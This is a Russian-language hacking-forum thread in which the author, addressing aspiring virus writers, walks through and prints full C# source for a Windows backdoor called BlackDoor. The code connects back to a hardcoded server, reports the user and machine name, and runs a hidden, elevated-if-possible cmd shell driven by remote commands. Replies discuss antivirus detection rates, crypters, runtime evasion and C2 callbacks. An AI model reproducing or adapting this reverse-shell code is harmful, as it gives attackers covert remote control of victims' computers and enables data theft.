всех кодеров приветствую и всех начинающих вируса писателей тоже для начало разберем что такое backdoor или же лазейка в ваш пк допустим вы запустили backdoor после его запуска он подключается к серверу который был записан в коде и передает данные о вашем пк такие как username pcname после чего на сервере открывается сессия которая будет уже управлять cmd и так преступим в первую очередь напишем сам backdoor создаем проект в Visual Studio и называем BlackDoor выбираем версию net framework 4. в главном классе Program будут храниться данные о сервере к которому мы будем подключаться создаем переменную в которой будет храниться наш хост //IP:PORT const string host = "127.0.0.1:6666"; CSHARP //IP:PORT const string host = "127.0.0.1:6666"; и так готово, как не трудно догадаться по этим данным наш backdoor будет подключаться на локальный сервер. А для того чтобы он мог подключиться к нему мы будем использовать TCP соединение для этого нам необходимо создать экземпляр объекта TcpClient public static TcpClient tcpClient = new TcpClient(); CSHARP public static TcpClient tcpClient = new TcpClient(); затем для его подключения нам необходимо использовать функцию Connect tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); CSHARP tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); но не так все просто, если допустим оборвалось соединение нам же надо заново подключиться чтобы и для того чтобы избежать потери соединения нам понадобиться проверка и отслеживание ошибок после чего наш код преобразуется в это static void Main(string[] args) { while (true) { if (!tcpClient.Connected) //проверка подключения сессий Connect(); //если нету подключения то делаем попытку подключения заново Thread.Sleep(5000); } } CSHARP static void Main(string[] args) { while (true) { if (!tcpClient.Connected) //проверка подключения сессий Connect(); //если нету подключения то делаем попытку подключения заново Thread.Sleep(5000); } } private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! } } catch { } } CSHARP private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! } } catch { } } подключение готово, а теперь как мы будем общаться с сервером и принимать данные тут уже не совсем так гладко, для таких целей можно будет использовать клиент и сервер с AsyncRat но это не нас случай ибо мы пишем все с нуля первое что мы сделаем это конечно же отправку данных так как после подключения нам будет не обходимо отдать серверу информацию о себе для того чтобы отправлять и принимать данный нам понадобиться NetworkStream создадим приватную переменную с NetworkStream в классе Program и будем её инициализировать в методе Connect так же нам понадобиться еще одна константа это размер буфера обмена или же размер массива байтов которые мы будем передавать на сервер. И да в нашем клиент сервер соединений будет огромный или даже жирный минус в том что половина текста меньше нашего размера буфера будет тупо отсеиваться и не придет на сервер private static NetworkStream stream; const int SizeBuffer = 5000; public static void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0, buffer.Length ); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(true); //при вознекновений ошибки при отправки отключаем сессию на повторное подключение //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз } } CSHARP private static NetworkStream stream; const int SizeBuffer = 5000; public static void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0, buffer.Length ); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(true); //при вознекновений ошибки при отправки отключаем сессию на повторное подключение //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз } } следующие это формат в котором будут отправляться данные чтобы сервер мог понимать какой именно пакет идет на сервер и так же для клиента в нашем случай формат будет такой Header($)info($)info и так что это вообще такое Header это заголовок по которому мы будем индексировать пакет, а ($) это всего лишь делитель пакета или же Split'ер, info это информация которую мы заложили в пакет теперь нам необходимо отправить данные о подключений на сервер а так же инициализировать наш NetworkStream private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! stream = tcpClient.GetStream(); Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName+"($)"); } } catch { } } CSHARP private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! stream = tcpClient.GetStream(); Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName+"($)"); } } catch { } } все данные отправились на наш сервер где мы их примем после чего наш сервер будет отправлять команды в cmd, а пакет будет выглядеть так shell($)info($) последний сплитер или же делитель для того чтобы избежать нулевые байты или же нули или пробелы теперь чтобы принять его пакет нам надо считать данные с NetworkStream для этого создадим метод и отдельный поток для его работы private static void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные stream.Read(responseData, 0, SizeBuffer); //считывание данных string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { } } } catch { } } CSHARP private static void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные stream.Read(responseData, 0, SizeBuffer); //считывание данных string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { } } } catch { } } метод готов теперь нам нужно создать новый класс который будет отвечать за управление cmd назовем наш класс Shell в подробности данного класса не буду объяснять тут и так понятно за что он отвечает public static class Shell { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } public static Process ProcessShell; public static string Input { get; set; } public static void ShellWriteLine(string arg) { ProcessShell.StandardInput.WriteLine(arg); } public static void StarShell() { ProcessStartInfo StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardInput = true, RedirectStandardError = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage), StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage) }; if (IsAdmin()) { StartInfo.Verb = "runas"; } ProcessShell = new Process(); ProcessShell.StartInfo = StartInfo; ProcessShell.OutputDataReceived += ShellDataHandler; ProcessShell.ErrorDataReceived += ShellDataHandler; ProcessShell.Start(); ProcessShell.BeginOutputReadLine(); ProcessShell.BeginErrorReadLine(); while (Program.tcpClient.Connected) { Thread.Sleep(2000); } ShellClose(); return; } private static void ShellDataHandler(object sender, DataReceivedEventArgs e) { StringBuilder Output = new StringBuilder(); try { Output.AppendLine(e.Data); Program.Send("shell($)" + Output.ToString()+"($)"); //отправка данных с cmd на сервер } catch { } } public static void ShellClose() { try { if (ProcessShell != null) { KillProcessAndChildren(ProcessShell.Id); ProcessShell.OutputDataReceived -= ShellDataHandler; ProcessShell.ErrorDataReceived -= ShellDataHandler; } } catch { } } private static void KillProcessAndChildren(int pid) { if (pid == 0) { return; } ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid); ManagementObjectCollection moc = searcher.Get(); foreach (ManagementObject mo in moc) { KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"])); } try { Process proc = Process.GetProcessById(pid); proc.Kill(); } catch { } } } CSHARP public static class Shell { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } public static Process ProcessShell; public static string Input { get; set; } public static void ShellWriteLine(string arg) { ProcessShell.StandardInput.WriteLine(arg); } public static void StarShell() { ProcessStartInfo StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardInput = true, RedirectStandardError = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage), StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage) }; if (IsAdmin()) { StartInfo.Verb = "runas"; } ProcessShell = new Process(); ProcessShell.StartInfo = StartInfo; ProcessShell.OutputDataReceived += ShellDataHandler; ProcessShell.ErrorDataReceived += ShellDataHandler; ProcessShell.Start(); ProcessShell.BeginOutputReadLine(); ProcessShell.BeginErrorReadLine(); while (Program.tcpClient.Connected) { Thread.Sleep(2000); } ShellClose(); return; } private static void ShellDataHandler(object sender, DataReceivedEventArgs e) { StringBuilder Output = new StringBuilder(); try { Output.AppendLine(e.Data); Program.Send("shell($)" + Output.ToString()+"($)"); //отправка данных с cmd на сервер } catch { } } public static void ShellClose() { try { if (ProcessShell != null) { KillProcessAndChildren(ProcessShell.Id); ProcessShell.OutputDataReceived -= ShellDataHandler; ProcessShell.ErrorDataReceived -= ShellDataHandler; } } catch { } } private static void KillProcessAndChildren(int pid) { if (pid == 0) { return; } ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid); ManagementObjectCollection moc = searcher.Get(); foreach (ManagementObject mo in moc) { KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"])); } try { Process proc = Process.GetProcessById(pid); proc.Kill(); } catch { } } } ShellDataHandler будет отправлять полученные данные с cmd нашему серверу которые мы будем выводить так же для работы нашего шелла нам надо запустить функцию StarShell в методе Connect. А так же мы должны принимать данные с сервера и передавать в cmd после чего наш код будет готов using System; using System.Diagnostics; using System.Globalization; using System.IO; using System.Management; using System.Net.Sockets; using System.Security.Principal; using System.Text; using System.Threading; namespace BlackDoor { internal class Program { const string host = "127.0.0.1:6666"; const int SizeBuffer = 5000; public static TcpClient tcpClient = new TcpClient(); private static NetworkStream stream; static void Main(string[] args) { while (true) { if (!tcpClient.Connected) //проверка подключения сессий Connect(); //если нету подключения то делаем попытку подключения заново Thread.Sleep(5000); } } private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! stream = tcpClient.GetStream(); new Thread(() => Read()).Start(); //создания потока для чтения данных Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName + "($)"); Shell.StarShell(); } } catch { } } private static void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные stream.Read(responseData, 0, SizeBuffer); //считывание данных string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { case "shell": { //shell($)ipconfig($) пример пакета Shell.ShellWriteLine(Messages[1]); break; } case "exit": { //exit($) tcpClient.Close(); Shell.ShellClose(); Environment.Exit(0); break; } } } } catch { } } public static void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0,buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(true); //при вознекновений ошибки при отправки отключаем сессию на повторное подключение //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз } } } public static class Shell { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } public static Process ProcessShell; public static string Input { get; set; } public static void ShellWriteLine(string arg) { ProcessShell.StandardInput.WriteLine(arg); } public static void StarShell() { ProcessStartInfo StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardInput = true, RedirectStandardError = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage), StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage) }; if (IsAdmin()) { StartInfo.Verb = "runas"; } ProcessShell = new Process(); ProcessShell.StartInfo = StartInfo; ProcessShell.OutputDataReceived += ShellDataHandler; ProcessShell.ErrorDataReceived += ShellDataHandler; ProcessShell.Start(); ProcessShell.BeginOutputReadLine(); ProcessShell.BeginErrorReadLine(); while (Program.tcpClient.Connected) { Thread.Sleep(2000); } ShellClose(); return; } private static void ShellDataHandler(object sender, DataReceivedEventArgs e) { StringBuilder Output = new StringBuilder(); try { Output.AppendLine(e.Data); Program.Send("shell($)" + Output.ToString() + "($)"); //отправка данных с cmd на сервер } catch { } } public static void ShellClose() { try { if (ProcessShell != null) { KillProcessAndChildren(ProcessShell.Id); ProcessShell.OutputDataReceived -= ShellDataHandler; ProcessShell.ErrorDataReceived -= ShellDataHandler; } } catch { } } private static void KillProcessAndChildren(int pid) { if (pid == 0) { return; } ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid); ManagementObjectCollection moc = searcher.Get(); foreach (ManagementObject mo in moc) { KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"])); } try { Process proc = Process.GetProcessById(pid); proc.Kill(); } catch { } } } } CSHARP using System; using System.Diagnostics; using System.Globalization; using System.IO; using System.Management; using System.Net.Sockets; using System.Security.Principal; using System.Text; using System.Threading; namespace BlackDoor { internal class Program { const string host = "127.0.0.1:6666"; const int SizeBuffer = 5000; public static TcpClient tcpClient = new TcpClient(); private static NetworkStream stream; static void Main(string[] args) { while (true) { if (!tcpClient.Connected) //проверка подключения сессий Connect(); //если нету подключения то делаем попытку подключения заново Thread.Sleep(5000); } } private static void Connect() { try { tcpClient.Connect(host.Split(':')[0], Convert.ToInt32(host.Split(':')[1])); if (tcpClient.Connected) { //удача сессия подключена ! stream = tcpClient.GetStream(); new Thread(() => Read()).Start(); //создания потока для чтения данных Send("Session($)"+Environment.UserName+"($)"+Environment.MachineName + "($)"); Shell.StarShell(); } } catch { } } private static void Read() { try { while (tcpClient.Connected) { byte[] responseData = new byte[SizeBuffer]; //буфер в который придут наши данные stream.Read(responseData, 0, SizeBuffer); //считывание данных string[] Messages = Encoding.UTF8.GetString(responseData).Split(new[] { "($)" }, StringSplitOptions.None); //получения данных в виде массива switch (Messages[0]) //обработка нашего Header { case "shell": { //shell($)ipconfig($) пример пакета Shell.ShellWriteLine(Messages[1]); break; } case "exit": { //exit($) tcpClient.Close(); Shell.ShellClose(); Environment.Exit(0); break; } } } } catch { } } public static void Send(string info) { if (!tcpClient.Connected) //если нету соеденения мы не будем отправлять данные. return; //иначе мы будем try { byte[] buffer = Encoding.UTF8.GetBytes(info); //данные которые больше SizeBuffer будут потеряны( stream.Write(buffer, 0,buffer.Length); //отправка буфера начиная с 0 (offset) заканчивая buffer.Length } catch { tcpClient.Client.Disconnect(true); //при вознекновений ошибки при отправки отключаем сессию на повторное подключение //в параметрах пишем true что означает что данный экземпляр может быть использован еще раз } } } public static class Shell { public static bool IsAdmin() { return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator); } public static Process ProcessShell; public static string Input { get; set; } public static void ShellWriteLine(string arg) { ProcessShell.StandardInput.WriteLine(arg); } public static void StarShell() { ProcessStartInfo StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardInput = true, RedirectStandardError = true, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), StandardOutputEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage), StandardErrorEncoding = Encoding.GetEncoding(CultureInfo.CurrentCulture.TextInfo.OEMCodePage) }; if (IsAdmin()) { StartInfo.Verb = "runas"; } ProcessShell = new Process(); ProcessShell.StartInfo = StartInfo; ProcessShell.OutputDataReceived += ShellDataHandler; ProcessShell.ErrorDataReceived += ShellDataHandler; ProcessShell.Start(); ProcessShell.BeginOutputReadLine(); ProcessShell.BeginErrorReadLine(); while (Program.tcpClient.Connected) { Thread.Sleep(2000); } ShellClose(); return; } private static void ShellDataHandler(object sender, DataReceivedEventArgs e) { StringBuilder Output = new StringBuilder(); try { Output.AppendLine(e.Data); Program.Send("shell($)" + Output.ToString() + "($)"); //отправка данных с cmd на сервер } catch { } } public static void ShellClose() { try { if (ProcessShell != null) { KillProcessAndChildren(ProcessShell.Id); ProcessShell.OutputDataReceived -= ShellDataHandler; ProcessShell.ErrorDataReceived -= ShellDataHandler; } } catch { } } private static void KillProcessAndChildren(int pid) { if (pid == 0) { return; } ManagementObjectSearcher searcher = new ManagementObjectSearcher("Select * From Win32_Process Where ParentProcessID=" + pid); ManagementObjectCollection moc = searcher.Get(); foreach (ManagementObject mo in moc) { KillProcessAndChildren(Convert.ToInt32(mo["ProcessID"])); } try { Process proc = Process.GetProcessById(pid); proc.Kill(); } catch { } } } } https://zelenka.guru/threads/5049453/ о том как создать сервер для этого backdoor'а надеюсь на ваше внимание тему писал около часа :warpath: у данного бэкдора детектов два https://antiscan.me/scan/new/result?id=Z3toqarNsna8 кст хочу сказать отдельное спасибо клоунам под этой теме которые решили воспринять эту тему как практический готовый backdoor, я лишь этой темой показал как работают backdoor'ы.
ты сам то хоть понял что написал? BackDoor - это понятие абстрактное, бэкдор может подкачивать с удаленного хоста что угодно, бэкдор может зоздавать допустим скрытые учетки, чтобы ты их потом использовал,для примера: пиздил **** из админки ******а который впарил оленю какому-то тут на форуме, бэкдор может пересылать **** с чекера, может много чего. Ну и делая выводи, напрашивается вопрос, в теории работает, а как же практика? Что скажут ав? и вообще, что насчет блокировки входящих подключений, что на счет UAC? Короче, зря ты час потратил, лучше бы пива выпил вместо этого.
dothemost, я написал так чтобы лично мой код не использовали, так как если ты писал малвари знаешь что после слива на вт стабов похожих на друг друга, у обоих будут детекты.
dothemost, тонкости тут полностью согласен, да и языки без граничные, понадобиться целая жизнь чтобы познать все тонкости
v4vner, как-то спросили армянское радио (ChatGPT), а создай блатной ЯП, и оно ответило: "К сожалению, я не могу создать программу на языке LOLZ, так как это язык программирования, который был придуман для шутки и не предназначен для серьезной работы. Однако, я могу предложить вам написать программу на языке Python, который очень похож на LOLZ в терминах синтаксиса и структуры программы. Ниже приведен пример программы на Python, который демонстрирует некоторые особенности этого языка, которые сделают его похожим на LOLZ HAI CAN HAS STDIO? I HAS A VAR GIMMEH VAR VISIBLE "U ENTERED " N VAR KTHXBYE Python HAI CAN HAS STDIO? I HAS A VAR GIMMEH VAR VISIBLE "U ENTERED " N VAR KTHXBYE В этой программе мы используем несколько ключевых слов, которые могут напоминать некоторые команды из LOLZ: HAI - это приветственное слово, аналогичное CAN HAS STDIO? в LOLZ. I HAS A VAR - это объявление переменной, аналогичное I HAS A в LOLZ. GIMMEH VAR - это запрос значения от пользователя, аналогичный GIMMEH в LOLZ. VISIBLE - это команда вывода текста в консоль, аналогичная VISIBLE в LOLZ. KTHXBYE - это прощальное слово, аналогичное KTHXBYE в LOLZ. Надеюсь, это поможет вам лучше понять синтаксис и структуру программы на языке LOLZ. вот тебе и анекдот
это ты детектом считаешь? давай так, ты берешь и запускаешь чудо-дор на винде со свежими обновлениями и делаешь скрин на фоне этого треда? я молчу о рантайме))) блять... когда уже перестанете впаривать эти масс-сканеры как пруф?
afrodita, Мен, та ты полностью прав) ну а как-же чудо-криптеры жить будут))))) ну а слово рантайм-детектЫ или более глубже лов-фи-детекЫ и остальные флаги тут походу под запретом
Bob_Smuggler, ты гонишь ? давай запусти на свежей винде я посмотрю будут ли детекты по рантайму, А ИХ НЕ БУДЕТ потому что он не будет детектить такие простые вещи как соединение tcp и запуск cmd, потому что эти действия не считаются вредоносными
afrodita, тут ты конечно не прав, со всего уважения Мэн, как только он (бэкдор) стукнет в с2, это будет последнее, что он сможет сделать, а про загрузку это теория